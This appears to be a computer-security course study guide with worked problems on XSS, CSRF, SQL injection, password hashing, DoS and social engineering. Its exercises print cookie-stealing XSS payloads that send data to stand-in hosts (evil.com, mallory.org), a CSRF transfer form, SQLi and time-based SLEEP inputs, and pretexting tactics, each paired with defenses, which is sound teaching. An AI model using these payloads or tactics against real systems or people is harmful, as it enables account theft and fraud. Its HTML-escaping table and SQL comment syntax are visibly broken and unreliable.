Step 6: Specify the Exact Root-Cause Countermeasure: Match the defense to the parser boundary: **Prepared Statements / Parameterized Queries** for SQLi; **HTML/JS Context-Aware Escaping + CSP** for XSS; **Cryptographic Anti-CSRF Tokens + `SameSite=Strict`** for CSRF.

Verification, Boundary Conditions & Sanity Checks: Origin Comparisons, Cookie Flags, and SQL Syntax Balance

- **SOP vs. Cookie Port/Subdomain Asymmetry:** Two pages at `https://app.bank.com:443` and `https://app.bank.com:8443` have **different DOM origins** (cannot read each other's DOM), but **share cookies** (cookies ignore port). Conversely, `https://a.bank.com` and `https://b.bank.com` have different DOM origins, yet share cookies set with `Domain=bank.com`.
- **`HttpOnly` Does Not Prevent Forged Actions:** When `HttpOnly=true`, any attack step that writes `document.cookie` scores zero because `document.cookie` returns an empty string for that cookie. Instead, either use CSRF (browser attaches cookie automatically) or use XSS to invoke `fetch('/transfer', ...)` (same-origin request carries the `HttpOnly` cookie automatically).
- **SQL Quote & Comment Balance:** Always substitute your payload string literally into the template `'$input'` and check that every opened single quote `'` is closed before the injected SQL keywords and that the trailing server quote `'` is commented out by `-- ` (including the space after `--`).

8.3 Worked Applied Problem Templates

Applied Problem Template: 8A — SOP/Cookie Matrix, Filter-Evasion XSS, `HttpOnly` Action Forgery, and POST CSRF

Problem Specification: A banking web application at `https://www.bank.se:443` authenticates users with a session cookie:

```
Set-Cookie: sid=9f8a7b; Domain=bank.se; Path=/; Secure
```

(Note: `HttpOnly` and `SameSite` are initially *not* set.) The application has two endpoints:

- `GET /search?q=X`: sanitizes `X` once via non-recursive removal `X = X.replace("<script>", "").replace("</script>", "")` and echoes the result directly into the HTML response body.
- `POST /transfer`: accepts form parameters `to` and `amount` and transfers `amount` SEK from the logged-in user to `to`.

Tasks: (a) Determine whether a script on `http://api.bank.se:80` can read the DOM of `https://www.bank.se:443`, and whether the browser attaches `sid` to requests to `http://api.bank.se:80` and `https://api.bank.se:8443`. (b) Construct a URL that a web attacker (`https://evil.com`) can send to a logged-in victim to steal `sid`. (c) Suppose the bank adds `HttpOnly` to `sid`. Explain why attack (b) fails, and construct both a new XSS payload via `/search` and a pure CSRF payload hosted on `https://evil.com` that transfer 5000 SEK to `mallory`. (d) State the exact defenses required to stop both attacks in (c).

Procedural Solution Execution:

- **Step 4 (SOP & Cookie Scope Verification — Task a):**
  - *DOM Read:* $\text{Origin}_1 = (\texttt{http}, \texttt{api.bank.se}, 80) \neq \text{Origin}_2 = (\texttt{https}, \texttt{www.bank.se}, 443)$ (differ in scheme, domain, and port) $\implies$ **Blocked by SOP**.
  - *Cookie to `http://api.bank.se:80`:* Although `bank.se` suffixes `api.bank.se`, the cookie has flag `Secure` and the request uses plain `http` $\implies$ **Not attached**.
  - *Cookie to `https://api.bank.se:8443`:* Uses `https` (`Secure` satisfied), `bank.se` suffixes `api.bank.se`, `Path=/` prefixes `/`, and cookies ignore port 8443 $\implies$ **Attached**.
- **Steps 1–3 (Reflected XSS with Single-Pass Filter Evasion — Task b):** Goal is cookie theft via Reflected XSS on `/search?q=`. To bypass the single-pass removal of `<script>` and `</script>`, nest the tags as `<scr<script>ipt>` and `</scr</script>ipt>`. After the server strips the inner substring once, the outer halves join into valid `<script>...</script>` tags:

  ```
  https://www.bank.se/search?q=<scr<script>ipt>fetch("https://evil.com/log?c="+document.cookie)</scr</script>ipt>
  ```

  When the victim clicks this link, the reconstructed script executes inside $\text{Origin} = (\texttt{https}, \texttt{www.bank.se}, 443)$, reads `document.cookie` (`sid=9f8a7b`), and sends it to `evil.com`.
- **Steps 2–3 (`HttpOnly` Constraint, Same-Origin XSS Action & POST CSRF — Task c):** With `HttpOnly` enabled, JS cannot read `sid` via `document.cookie`, so exfiltrating the token in (b) fails. However, the browser still attaches `sid` to HTTP requests to `www.bank.se`:
  - *Modified XSS Payload (triggers same-origin POST from victim's browser):*

    ```
    <scr<script>ipt>fetch("/transfer", {method:"POST", body:"to=mallory&amount=5000"})</scr</script>ipt>
    ```

  - *Pure POST CSRF Payload (HTML page hosted on `https://evil.com/win.html`):*

    ```
    <form id="f" action="https://www.bank.se/transfer" method="POST">
        <input type="hidden" name="to" value="mallory">
        <input type="hidden" name="amount" value="5000">
    </form>
    <script>document.getElementById("f").submit();</script>
    ```

- **Step 6 (Root-Cause Countermeasures — Task d):** (1) To fix XSS on `/search`: replace blacklist stripping with context-aware HTML entity escaping (`<` → `<`, `>` → `>`, `"` → `"`) and deploy `Content-Security-Policy: default-src 'self'` (disabling inline scripts). (2) To fix CSRF on `/transfer`: embed a cryptographically random, per-session anti-CSRF token inside the transfer form (which `evil.com` cannot read due to SOP) and set `SameSite=Strict` on the `sid` cookie.

Applied Problem Template: 8B — SQL Injection Escalation: Auth Bypass, Boolean Count Inference, and Time-Based Blind SLEEP

Problem Specification: An opera ticketing site takes user input `$operaName` and executes the SQL query:

```
SELECT customerName FROM tickets WHERE operaName = '$operaName';
```

by directly substituting `$operaName` into the query string (single quotes `'` delimit string literals and `-` starts a SQL comment).

- *Version 1 (Count Displayed):* The page prints `"N tickets sold"` where N is the number of returned rows, without printing `customerName`.
- *Version 2 (Output Suppressed):* A developer patches the page so it always prints `"Ticket count not available"`, but the SQL query still runs before the message is rendered. Input `Carmen` consistently responds in < 2 seconds. The DBMS supports `SLEEP(X)`, which pauses evaluation for X seconds and returns `1`.

Tasks: (a) In Version 1, provide an input `$operaName` that returns the total number of tickets sold across *all* operas. (b) In Version 1, provide an input `$operaName` that determines whether `Bob` holds a ticket for `Carmen`. (c) In Version 2, provide an input `$operaName` that determines whether `Bob` holds a ticket for `Carmen`, explain the observation mechanism, and state any required DBMS evaluation assumption. (d) State the exact code-level fix.

Procedural Solution Execution:

- **Steps 1–4 (Tautology / All-Rows Injection — Task a):** Supply input:

  $$\texttt{\$operaName} = \texttt{' OR 1=1 -}$$

  Resulting query: `SELECT customerName FROM tickets WHERE operaName = '' OR 1=1 - ';`. Because `1=1` is universally true for every row and `-` comments out the trailing quote, the query selects all rows in `tickets` and Version 1 displays the total count of all tickets sold.
- **Steps 2–4 (Boolean-Inference SQLi via Row Count — Task b):** Supply input:

  $$\texttt{\$operaName} = \texttt{Carmen' AND customerName = 'Bob' -}$$

  Resulting query: `SELECT customerName FROM tickets WHERE operaName = 'Carmen' AND customerName = 'Bob' - ';`. Version 1 displays `"N tickets sold"`: if $N \geq 1$, Bob has a ticket for Carmen; if $N = 0$, Bob does not.
- **Steps 2–5 (Time-Based Blind SQLi via SLEEP — Task c):** Because Version 2 suppresses row counts, use response latency as the side channel. Supply input:

  $$\texttt{\$operaName} = \texttt{Carmen' AND customerName = 'Bob' AND SLEEP(10) = 1 -}$$

  Resulting query:

  ```
  SELECT customerName FROM tickets WHERE operaName = 'Carmen' AND customerName = 'Bob' AND SLEEP(10) = 1
  ```

  - *Observation Rule:* If Bob has a ticket for Carmen, at least one row satisfies the first two conjuncts, so the DBMS evaluates `SLEEP(10) = 1`, delaying the HTTP response to ≥ 10 s (vs. baseline < 2 s). If Bob has no ticket for Carmen, no row satisfies the prefix conjuncts and the response returns in < 2 s.
  - *Mandatory DBMS Assumption:* The database engine evaluates `AND` clauses using **left-to-right short-circuit evaluation** (so `SLEEP(10)=1` is never called for rows where `operaName='Carmen' AND customerName='Bob'` is false).
- **Step 6 (Root-Cause Remediation — Task d):** Use **parameterized queries (prepared statements)**: `PREPARE stmt FROM 'SELECT customerName FROM tickets WHERE operaName = ?'; EXECUTE stmt USING @operaName;`. The database compiles the SQL AST before binding `@operaName` strictly as a literal string value, making syntax injection impossible.

Applied Problem Template: 8C — Stored XSS in Shared Resource: Cookie Theft vs. Silent Action Forgery

Problem Specification: A photo-sharing web app at `https://photos.example.org` lets user Mallory create an album with title `T` and share it with victim Alice. When Alice opens the shared album page, the server renders `<h2>Album: T</h2>` directly into the HTML without escaping. Alice is logged in with session cookie `session_id`. The app supports `GET /delete_account?confirm=yes` to delete the currently logged-in user's account. **Tasks:** (a) Classify the vulnerability and construct an album title `T` that steals Alice's `session_id` to `https://mallory.org/collect` when `HttpOnly=false`. (b) Suppose the administrator sets `HttpOnly=true` and `SameSite=Strict` on `session_id`. Determine whether Mallory can still steal `session_id`, and construct an album title `T` that deletes Alice's account when she views the album.

Procedural Solution Execution:

- **Steps 1–3 (Stored XSS Cookie Exfiltration — Task a):** Because album title `T` is persisted on the server and rendered unescaped into Alice's browser under Origin = (`https`, `photos.example.org`, 443), this is **Stored XSS**. With `HttpOnly=false`, Mallory sets the album title to:

  $$\texttt{T} = \texttt{Vacation</h2><script>fetch("https://mallory.org/collect?sid=" + document.cookie);</script><h2>}$$

  When Alice views the album, her browser executes the script in `photos.example.org`'s origin, reads `document.cookie`, and transmits `session_id` to `mallory.org` (SOP allows outbound cross-origin requests).
- **Steps 2–4 (`HttpOnly=true` + `SameSite=Strict` vs. Stored XSS Action Forgery — Task b):**
  - *Cookie Theft Verdict:* **Impossible.** `HttpOnly=true` prevents JavaScript from reading `session_id` via `document.cookie`.
  - *Account Deletion Verdict:* **Possible via Stored XSS.** Because the injected script executes inside Origin(`https://photos.example.org`), any request it triggers to `/delete_account?confirm=yes` is a **same-origin / same-site request**, so the browser attaches the `HttpOnly; SameSite=Strict` cookie automatically! Mallory sets `T` to:

    $$\texttt{T} = \texttt{Vacation</h2><script>fetch("/delete_account?confirm=yes");</script><h2>}$$

    (or `<img src="/delete_account?confirm=yes">`). When Alice views the album, her browser sends the authenticated same-origin GET request and deletes her account.

9. Authentication Factors, Password Storage Cost Algebra, and Hash Chains

9.1 Authentication Factors, Password Entropy, Salting, and KDFs

- **Three Authentication Factor Categories:**
  (1) **Something You Know** (knowledge factor: password, PIN, passphrase, security question).
  (2) **Something You Have** (possession factor: hardware token, smartcard, ATM card, mobile Authenticator/BankID device).
  (3) **Something You Are** (inherence factor: fingerprint, iris/retinal scan, facial/voice biometrics).

  Multi-Factor Authentication (2FA / MFA) Rule: Requires combining mechanisms from **at least two independent categories** (e.g., ATM card + PIN). Requiring a password plus a PIN uses two secrets from the *same* category and is **single-factor authentication**.
- **Password Entropy & Guessing Strength:** If breaking a scheme requires 2^X guesses, its strength is X bits. For uniform random passwords of length L_{len} over an alphabet of size N_{alph}:
$$X = \log_2\left(N_{\text{alph}}^{L_{\text{len}}}\right) = L_{\text{len}} \cdot \log_2(N_{\text{alph}}) \text{ bits.}$$
  Shannon entropy overestimates real human password security because user choices are heavily skewed (the top 20 passwords cover $\approx 10\%$ of accounts; a random word from a 50,000-word dictionary provides only $\log_2(50{,}000) \approx 15.6$ bits).
- **Offline Attack Model, Salts, and Slow Key Derivation Functions (KDFs):** In an **offline attack**, the adversary steals the password database of U accounts and evaluates candidate hashes locally without network rate limits or account lockouts.
  - **Per-User Salt (s_u):** A random, **public (non-secret)**, unique value generated per user and stored in cleartext alongside the digest: $\langle u,\ s_u,\ H(s_u \,\|\, p)\rangle$. Ensures identical passwords yield distinct digests across users, defeating precomputed **rainbow tables** and forcing cross-user work from $\mathcal{O}(L+U)$ to $\mathcal{O}(U \cdot L)$. **A single global salt shared by all users fails completely**: all users still share one hash function $H(s_{\text{global}} \,\|\, p)$, so a single dictionary pass of L hashes cracks all U users.
  - **Slow Hash / KDF (`PBKDF2, bcrypt, scrypt, Argon2`):** Iterates a cryptographic primitive (e.g., HMAC in PBKDF2) $R \sim 10^4$–10^6 times with (p, s_u), multiplying every attacker guess by R while adding negligible delay (~ 50 ms) to a legitimate single login.

9.2 Offline Dictionary-Cracking and Password-Replacement Cost Algebra

Let a stolen database contain U users, where every user's password belongs to a known candidate list $\mathcal{D}$ of size L. Under the standard cost model, **only evaluations of $H(\cdot)$ count** (string concatenation, table lookups, comparisons, and DB writes cost 0).

- **Subexpression Factoring Principle:** Decompose the stored digest expression $S(u,p)$ into: (1) *User-Independent Terms* (e.g., inner $H(p)$): evaluate once per candidate across $\mathcal{D}$ (**L hashes total**, reused across all U users); (2) *Password-Independent Per-User Terms* (e.g., inner $H(u)$): evaluate once per user (**U hashes total**, reused across all L candidates); (3) *Joint Terms* (outer $H(\cdot)$ wrapping both p and u): evaluate separately for every (u,p) pair (**U · L hashes total**).
- **Mass Password Replacement Cost (Overwriting All U Accounts with p_{new}):** If $p_{\text{new}} \notin \mathcal{D}$ (e.g., `"letmein"` not in the candidate list), an inner $H(p_{\text{new}})$ costs $+\mathbf{1}$ fresh hash evaluation, reused across all U users; if $p_{\text{new}} \in \mathcal{D}$ was already hashed during recovery, inner $H(p_{\text{new}})$ costs 0 fresh hashes.

Stored Digest Formula	Crack 1	Crack All U	Replace ($p_{\text{new}} \notin \mathcal{D}$)	Replace (Reuse)	Decomposition & Reuse Justification
(a) $H(p)$ (Unsalted)	L	$\mathbf{L}$	$\mathbf{1}$	0 (if $p_{\text{new}} \in \mathcal{D}$)	Hash L candidates once; compare against all U rows. Replace: compute $H(p_{\text{new}})$ once, write U times.
(b) $H(p \,\|\, u)$ or $H(u \,\|\, p)$	L	$\mathbf{U \cdot L}$	$\mathbf{U}$	$\mathbf{U}$	u sits inside the only hash; no subexpression is reusable across users. Replace: 1 hash per user.
(c) $H\big(H(p) \,\|\, u\big)$	$2L$	$\mathbf{L + U \cdot L}$	$\mathbf{1 + U}$	$\mathbf{U}$ (if $H(p_{\text{new}})$ known)	Precompute $D[p] = H(p)$ for all L candidates (L hashes), then evaluate outer $H(D[p] \,\|\, u)$ for $U \cdot L$ pairs.
(d) $H\big(p \,\|\, H(u)\big)$	$1 + L$	$\mathbf{U + U \cdot L}$	$\mathbf{2U}$ (fresh)	$\mathbf{U}$ (reuse $H(u)$)	Precompute $K[u] = H(u)$ once per user (U hashes), then evaluate outer $H(p \,\|\, K[u])$ for $U \cdot L$ pairs.
(e) $H(s_{\text{global}} \,\|\, p)$	L	$\mathbf{L}$	$\mathbf{1}$	0 (if $p_{\text{new}} \in \mathcal{D}$)	Global salt is constant across all U users; behaves identically to unsalted $H(p)$ once s_{global} is known.
(f) $H^R(s_u \,\|\, p)$ (R-iter KDF)	$R \cdot L$	$\mathbf{R \cdot U \cdot L}$	$\mathbf{R \cdot U}$	$\mathbf{R \cdot U}$	Each candidate test for each user requires R sequential invocations of H.

9.3 Lamport One-Time Password (OTP) Hash Chains and Policy Critique

Let $H^k(x) = \underbrace{H(H(\cdots H(x)\cdots))}_{k \text{ applications}}$ with base case $H^0(x) = x$. A **Lamport Hash Chain** of length N (e.g., $N = 500$ or $N = 1000$) authenticates logins $i = 1, 2, \ldots, N$ over an unencrypted channel:

Registration ($i = 0$): Client computes $v_0 = H^N(\text{pwd} \,\|\, \text{salt})$; Server initializes `stored` $\leftarrow v_0$.

Login $i \in \{1, \ldots, N\}$: Client sends $t_i = H^{N-i}(\text{pwd} \,\|\, \text{salt})$; Server checks $H(t_i) \stackrel{?}{=}$ `stored`; if valid, `stored` $\leftarrow t_i$.

Operational Properties, Boundary Conditions, and Attack Vectors:

- **Server Storage Minimalism:** The server needs **neither `pwd` nor `salt` (nor i)**; it stores only the single latest digest `stored` $= H^{N-(i-1)}(\text{pwd} \,\|\, \text{salt})$ and performs exactly **1** hash evaluation $H(t_i)$ per login verification.
- **Eavesdropper Forward Infeasibility & Client Recomputation Cost:** An eavesdropper who intercepts $t_i = H^{N-i}(\text{pwd} \,\|\, \text{salt})$ at login i cannot compute the next token $t_{i+1} = H^{N-(i+1)}(\text{pwd} \,\|\, \text{salt})$ because $t_i = H(t_{i+1})$ and inverting H violates **one-wayness**. For the same reason, a stateless client cannot derive t_{i+1} from t_i and must recompute t_{i+1} from pwd $\|$ salt at a cost of $\mathbf{N - (i+1) = N - i - 1}$ **hash evaluations** (and $N - i$ hashes at login i).
- **Terminal Exhaustion Boundary ($i = N$ Cleartext Leak):** At login $i = N$, the client sends $t_N = H^{N-N}(\text{pwd} \,\|\, \text{salt}) = H^0(\text{pwd} \,\|\, \text{salt}) = \text{pwd} \,\|\, \text{salt}$ **in plaintext**. Any passive network eavesdropper observing the N-th login immediately learns both pwd and salt (chain must be re-initialized before $i = N$).

- **Server Database Write-Compromise Attack:** If an attacker Trudy can overwrite the server's `stored` variable (without knowing pwd, salt, or i), Trudy picks any arbitrary bitstring v of her choice, overwrites `stored` $\leftarrow H(v)$, and logs in by sending v. The server evaluates $H(v) =$ `stored` and grants access.

Flawed Organizational Measure	Threat Partially Addressed	Remaining Vulnerability / Principle Violated	Sound Technical Countermeasure
Proprietary secret hash + single global salt	Plaintext DB leak; pre-built standard rainbow tables	Violates **Open Design (Kerckhoffs)**; global salt leaves equal passwords with equal hashes across all U users ($O(L)$ crack).	Public, vetted slow KDF (`Argon2`, `bcrypt`, `PBKDF2`) with a **unique random per-user salt**.
Strict complex rules + forced 30-day rotation	Naive dictionary guessing; long-term use of a leaked password	Violates **Psychological Acceptability**: drives users to write passwords down or increment (`Pass1` → `Pass2`).	Allow long passphrases, screen against breached-password lists, eliminate forced periodic rotation, enable **2FA**.
Hard lockout after 3 failed logins + phone reset	Online brute-force guessing	Enables **user-targeted DoS** (attacker locks out any known username in 3 tries); unauthenticated phone reset allows social-engineering takeover.	Exponential backoff / CAPTCHA / per-IP rate limiting; authenticated email/2FA reset flows.

10. Denial-of-Service (DoS) Mechanics, Amplification, and Network Defenses

10.1 Resource Exhaustion Vectors, Spoofing Asymmetry, and Amplification

A **Denial-of-Service (DoS)** attack targets **availability** by exhausting a finite system resource; a **Distributed DoS (DDoS)** coordinates many compromised hosts (**botnet**). An attack succeeds with limited attacker resources whenever **cost asymmetry** holds: $\text{Cost}_{\text{victim}}(\text{req}) \gg \text{Cost}_{\text{attacker}}(\text{req})$.

- **Four Resource Exhaustion Vectors:**
  (1) **Bandwidth Exhaustion:** Saturates the victim's upstream network link (e.g., ICMP ping flood, UDP reflection/amplification).
  (2) **State / Memory Exhaustion:** Fills fixed-size kernel/application tables with fake entries (e.g., TCP **SYN flood** filling the half-open connection backlog; forged UDP `subscribe` packets exhausting server subscription memory).
  (3) **Computational (CPU/Disk) Exhaustion:** Forces expensive server-side processing per cheap unauthenticated packet (e.g., replaying signed requests to trigger file malware scans, public-key signature verifications, or $O(N)$ hash searches).
  (4) **Correctness / Crash Exploitation:** A single malformed packet triggers an unhandled exception, null dereference, or buffer overflow.
- **Transport Spoofing Asymmetry (UDP/ICMP vs. TCP): UDP and ICMP are stateless and connectionless**: an attacker can emit packets with a forged source IP address ($\text{IP}_{\text{src}} := \text{IP}_{\text{victim}}$, **IP spoofing**) without verification. **TCP requires a 3-way handshake** (SYN → SYN-ACK(ISN_S) → ACK($\text{ISN}_S + 1$)): a blind spoofer never receives the SYN-ACK sent to $\text{IP}_{\text{victim}}$ and cannot complete the handshake to send application data.
- **Reflection & Amplification Mechanics:** Attacker sends small UDP requests with spoofed source $\text{IP}_{\text{src}} = \text{IP}_{\text{victim}}$ to third-party servers (**reflectors**), which send large replies of size $|\text{Reply}| = A \cdot |\text{Req}|$ to the victim (e.g., DNS amplification: ~ 60 B query → 4 KB response, amplification factor $A \approx 60\times$). The reflectors' aggregate bandwidth floods the victim regardless of how small the attacker's own bandwidth is. Similarly, if a protocol sends $E_{K_i}(\text{IP}_i) \,\|\, L$ with cleartext response-size L, a MitM or replay attacker modifies $L \to L_{\max}$ to make the server flood client C_i.

10.2 Countermeasure Architecture and Entity Responsibility Matrix

DoS Attack / Flaw	Exhausted Resource	Primary Countermeasure	Responsible Entity & Technical Justification
ICMP / UDP Spoofed Flood	Upstream link bandwidth	**Ingress / Egress Filtering (BCP 38)**	**Attacker's ISP** (drops packets whose source IP is outside the customer's subnet at the network edge). *Why victim firewall fails:* packets reaching the victim's firewall have **already congested the upstream link**.
Volumetric Link Flood	Gateway link capacity	**Geo-redundant multi-gateway hosting / Anycast CDN**	**Service Owner** (designs distributed/stateless server app) + **Cloud Provider** (deploys across distinct physical gateways/regions).
TCP SYN Flood	Kernel half-open SYN backlog table	**SYN Cookies** (stateless handshake)	**Victim Server OS:** encodes state into $\text{ISN}_S = t \,\|\, \text{MSS} \,\|\, H(K_S, \text{IPs}, \text{ports}, t)$; allocates TCB memory *only after* valid ACK($\text{ISN}_S + 1$) returns.
UDP State / Fake Subscriptions	Application memory table	**Stateless challenge-response / TCP migration**	**Service Developer:** verify source IP ownership via a stateless cookie echo before allocating table entries, or switch from UDP to TCP.
Tampered Cleartext Length L	Client/Server bandwidth	**Authenticate all fields + Freshness**	**Protocol Designer:** bind L and a sequence number/timestamp inside the encryption/MAC: $E_{K_i}(\text{IP}_i \,\|\, L \,\|\, \text{seq})$.
Unauthenticated CPU Work	Server CPU cycles	**Early MAC/Nonce check + Rate limiting**	**Service Developer:** verify lightweight MAC and replay nonce/counter *before* invoking expensive scans or DB queries.

11. Social Engineering Attack Lifecycle, Psychological Levers, and Defenses

11.1 Attack Lifecycle Phases and Fragment Aggregation Mechanics

Social engineering bypasses technical controls by manipulating human decision-making into disclosing confidential data, authorizing actions (e.g., signing a **BankID** request), or executing untrusted payloads.

- **Six Canonical Attack Phases:**
  (1) **Research (OSINT):** Harvest public fragments from directories and social media (`hitta.se`, `hemnet.se`, LinkedIn) such as full name, address, floor, neighbors' names, employer, and birth date (`YYYYMMDD`).
  (2) **Pretexting:** Construct a plausible identity/scenario (bank fraud department, IT support, charity partner) and establish credibility and rapport.
  (3) **Elicitation (Get the Data):** Exploit trust/emotion to extract credentials, PII, payment authorization, or file execution.
  (4) **Maintain Connection:** Keep the victim engaged without triggering suspicion; back off if questioned to avoid burning the pretext.

(5) **Data Aggregation (Combine Fragments):** Fuse harmless-looking fragments across sources into high-value secrets (e.g., combining a public birth date `YYYYMMDD` from `hitta.se` with the **last 4 digits** spoken over the phone yields the complete 12-digit Swedish **personnummer** `YYYYMMDD-XXXX`).

(6) **Exploitation (Follow-On Use):** Monetize or pivot using the harvested assets.

11.2 Manipulation Strategies, Exploited Human Traits, and Countermeasures

Manipulation Strategy	Human Trait Exploited	Concrete Scenario Indicators & Operational Mechanism
Pretext: Trappings of the Role	**Attribution / Trust in Authority**	Spoofed official caller ID, hold music, fake case/order numbers, official logos, named institutional partners (`Stockholms Stad`, housing board), "we never send links" disclaimers.
Urgency / Rush	**Reduced Cognitive Ability** (under time pressure)	Artificial deadlines ("within 24 hours", "final push before Lucia tomorrow") that suppress systematic verification.
Threat / Fear	**Reduced Cognitive Ability** (panic / stress response)	High-stakes alarm ("the fraudulent payment has already gone through", "your account is being emptied right now").
Rapport / Empathy / Banter	**Liking** (compliance with liked peers)	Friendly small talk, shared personal experiences ("moving is so stressful, we also moved this year and haven't unpacked").
Peer Pressure / Social Proof	**Conformity / Social Expectations**	Naming specific peers who already complied ("your neighbors the Ericssons and the Smiths have already donated").
Altercasting: Helper Role	**Desire to Help** (altruism / cooperation)	Framing the victim as a rescuer ("people are suffering in conflicts, we need your help") so refusing feels socially unacceptable.
Altercasting: Victim Role (Create-then-Fix Problem)	**Reactance / Gratitude & Reciprocity**	Attacker manufactures a crisis (fake 14,000 SEK purchase, or tricking NOC into disabling victim's network port) and offers to "cancel/fix" it, inducing relief and obligation (**reciprocity**).
Momentum of Compliance (Burying Questions)	**Consistency Bias**	Starting with trivial, routine confirmations (confirming name/address/order number) before requesting sensitive digits, credentials, or BankID approval.

11.3 Technical Deception Enablers, Harvest vs. Follow-On Accounting, and Defenses

- **Technical Deception Enablers: Typosquatting / Lookalike Domains** (`stockholmhelps.paypa1.com`), **Misleading Subdomains** (`www.microsoft.com.junk.evil.com` where `evil.com` is the actual registered domain), **Browser-in-the-Browser (BitB)** fake OAuth popup windows rendered via HTML/CSS/JS canvas inside the page, and **Callback Vishing** (sending an SMS asking the victim to call a fraudulent number, making the victim feel in control because *they* placed the call).
- **Strict Distinction Between Immediate Harvest vs. Follow-On Capabilities:**
  - *Immediate Harvest (What the Attacker Got):* State **only** what was actually transmitted, entered, or executed in the transcript: e.g., (i) login credentials entered into `paypa1.com` (note: if the victim only logged into a fake page after clicking "200 SEK", the attacker got the **credentials**, *not* the 200 SEK yet!), (ii) a downloaded/opened file (potential malware execution), (iii) full `personnummer` + home address + phone number, or (iv) a completed BankID signature on an attacker-initiated transfer.
  - *Follow-On Actions (What the Attacker Can Do Now):* (i) Use captured credentials to initiate a real payment or take over the account (if 2FA is absent) or try **credential stuffing** on other services where the user reuses the password; (ii) trigger ransomware, keylogging, or remote access from the downloaded executable; (iii) use aggregated PII (`personnummer` + address) for identity theft on services relying on single-factor PII verification.
- **Organizational & Technical Defenses:** Enforce clear out-of-band verification protocols, cultivate a workplace culture where saying "No" to authority/urgency is supported, eliminate security myths via training, deploy phishing/email filters, require phishing-resistant **2FA** (bound to origin), and enforce **Least Privilege** and **Separation of Duty** on high-value transactions.